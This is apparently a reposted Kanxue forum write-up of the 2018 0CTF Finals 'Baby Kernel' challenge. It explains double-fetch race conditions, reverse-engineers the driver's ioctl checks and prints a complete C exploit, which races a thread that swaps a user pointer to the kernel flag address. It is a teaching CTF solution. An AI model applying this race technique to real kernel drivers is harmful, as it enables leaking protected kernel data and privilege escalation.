查看原文
其他

Linux Kernel Pwn_1_Double fetch

Ta1pax0s 看雪学苑 2022-07-01

本文为看雪论优秀文章

看雪论坛作者ID:Ta1pax0s



title:Linux Kernel pwn(1)——Double fetch
date:2020-09-10 01:35:59
tags:Double fetch
categories:kernel

cover:
https://orangegzy.github.io/img/IMG_7050.PNG


咕咕咕了好久,之前做了一个学长出的内核rop,感觉还是学到了很多,今天做一道Double fetch。




什么是Double fetch


double fetch漏洞隶属于条件竞争漏洞,但是他特指在一种内核态与用户态之间的数据访问竞争。
以上是一个经典的Double fetch漏洞:

1. 首先,一个用户态线程准备好了数据(preparedata -> user data)

2. 然后通过syscall切入内核态

3. 内核第一次取用数据时进行了安全检查

4. 当检查通过数据后,第二次取用进行真正的使用

5. 问题就在于,如果我们在通过第一次检查之后,也就是在1st fetch与2nd fetch之间,hijack掉user data,那么就会导致内核拿到了错误的数据!在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升。





准备工作


首先解包文件系统:

➜ 2018 0CTF Finals Baby Kernel mkdir core➜ 2018 0CTF Finals Baby Kernel cd core➜ core mv ../core.cpio➜ core cpio -idmv < core.cpio

可以看到fs.sh是打包脚本。
 



查看开机自启动脚本
 core/init


#!/bin/sh
mount -t proc none /procmount -t sysfs none /sysmount -t devtmpfs devtmpfs /devecho "flag{this_is_a_sample_flag}" > flag //可以看到这里有个flag文件chown root:root flagchmod 400 flagexec 0</dev/consoleexec 1>/dev/consoleexec 2>/dev/console
insmod baby.kochmod 777 /dev/babyecho -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"setsid cttyhack setuidgid 1000 sh
umount /procumount /syspoweroff -d 0 -f





查看baby.ko


__int64 init_module(){ _fentry__(); misc_register(&baby); return 0LL;}

首先调用misc_register()注册了一个杂项设备baby。
 
然后有一个baby_ioctl()函数,作为用户态与这个设备通信的接口:



_chk_range_not_ok函数


其实就是判断a3是否小于a2+a1.,用来判断是否越界。
 
我们再回到caller中看他传进入的到底是什么玩意。
首先是第一个判断:

__int64 v2; // rdx

v2是rdx也就是第三个参数,实际传进来的应该是第三个参数的地址。也就是说,判断第三个参数的地址+0x10是否大于&current_task+0x1358。
然后看第二个,v5=v2,相当于是判断是否v5+\(v5+8)大于&current_task+0x1358。
 
于是感觉这个传进来的第三个参数的地址,应该是一个结构体的地址啊orz。
 
并且结构体的第一或二个位置的元素应该是一个指针:
看最后一个取结构体的第二个元素判断是否跟flag等长??那第二个元素应该是一个长度,那么也就是说第一个位置是一个指针。




&current_task+0x1358


经过我们动态调试:
到达调用► 0xffffffffc03de09b <baby_ioctl+123> call __chk_range_not_ok <0xffffffffc03de000>
可以看到实际上&current_task+0x1358就是0x7ffffffff000,也就是说,这里实际在判断:
1.数据的指针是否指向用户态?
2.flag的指针是否指向用户态?
3.flag的长度是否等于内核中真正的flag的长度?
 
只要bypass掉这三个,我们就可以把flag打出来。

然后我们继续向下:

最后到达这里,判断结构体中*(第一个元素+i)是否等于flag[i],看到这里,盲猜这用户空间传来的结构体是如下的结构:

struct user_data{ char * my_flag; int size;}




漏洞点分析


这个程序乍一看其实没什么问题orz。实际上是有条件竞争的(内核态与用户态的double fetch)。如果我们先构造一个user_data来通过内核态的验证(此时user_data还是在用户态的,只是把地址送进去了),然后在起一个evil thread来不断劫持用户态的user_data的my_Flag指针指向真正的flag的位置。同时,不停的用ioctl发0x1337进入else if。那么就能通过double fetch的条件竞争bypass内核对my_flag的验证,最后打出来flag即可。





exp


#define _GNU_SOURCE#include <stdio.h>#include <pthread.h>#include <unistd.h>#include <stdlib.h>#include <sys/ioctl.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <string.h>
int Time=1000;unsigned long long flag_addr; //真正的flag的位置int finish=1;
struct usr_data{ char *flag; size_t len;};

void evil_thread_func(void *a){ //传进来的参数是usr_data的地址 printf("Evil thread trugger!\n"); struct usr_data *s = a; while(finish==1){ s->flag = flag_addr; //改他!改他! }
};

int main(){ setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0);

char buf[201]={0}; char usr_flag[] = "flag{aasdascxcdadwdaw}";

struct usr_data usr_data; usr_data.flag = usr_flag; usr_data.len = 33;
int fd; fd = open("/dev/baby",0); //打开对应设备
int ret; ret = ioctl(fd,0x6666); //发送0x6666 system("dmesg | grep flag > /tmp/sir.txt"); //通过dmesg获取printk出来的内核态flag地址

int file_fd = open("/tmp/sir.txt",O_RDONLY); int id = read(file_fd,buf,200); close(file_fd);
char *addr; addr = strstr(buf,"Your flag is at "); if(!addr){ perror("error!"); return -1; }
addr += 0x10;
flag_addr = strtoull(addr,addr+16,16); //16进制字符串转unsigned longlong,全局变量flag_addr中此时是真正的flag的地址 printf("[*]flag addr is : %p\n",flag_addr);
pthread_t evil_thread; pthread_create(&evil_thread,NULL,evil_thread_func,&usr_data); //开一个恶意线程来修改usr data,不断的将user_flag所指向的用户态地址修改为flag的内核地址以制造竞争条件,从而使其通过驱动中的逐字节比较检查,输出flag内容 //Time=1000 for(int i=0;i<Time;i++){ ret = ioctl(fd,0x1337,&usr_data); //不断地去发0x1337进入第二个if usr_data.flag=usr_flag; //保证usr.flag指向用户态的空间 } finish=0; //到这里应该已经改完了 pthread_join(evil_thread,NULL); close(fd); printf("The flag in Kernel is :\n"); system("dmesg | grep flag"); return 0;




return 0;
}

效果:
 




番外:
关于__CFADD__宏



// carry flag of addition (x+y)template<class T, class U> int8 __CFADD__(T x, U y){ int size = sizeof(T) > sizeof(U) ? sizeof(T) : sizeof(U); if ( size == 1 ) return uint8(x) > uint8(x+y); if ( size == 2 ) return uint16(x) > uint16(x+y); if ( size == 4 ) return uint32(x) > uint32(x+y); return uint64(x) > uint64(x+y);}

这个玩意出现在这里很奇怪,它相当于是:
 
负责将a1,a2本来的两个有符号数转成无符号数相加,然后通过他们的CF标志位判断是否溢出(无符号),而比如说同样的int,那么unsigned int肯定在正数范围内能取到的值大于signed int,那么如果你uint都溢出了,那么你的signed int相加必然溢出。
 
关于这个宏出现在这里的功能也只能这么想了……





参考


https://www.xuebuyuan.com/541821.html
 
https://cloud.tencent.com/developer/article/1432392



- End -



看雪ID:Ta1pax0s

https://bbs.pediy.com/user-home-876323.htm

  *本文由看雪论坛 Ta1pax0s 原创,转载请注明来自看雪社区。



推荐文章++++

* OneFuzz踩坑教程

* 最右sign-v2签名算法追踪及逆向还原

* App安全评估手册-Android

* CVE-2020-1472 Netlogon权限提升漏洞分析

* 简析"千层饼"式伪装方式的病毒







公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



求分享

求点赞

求在看


“阅读原文”一起来充电吧!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存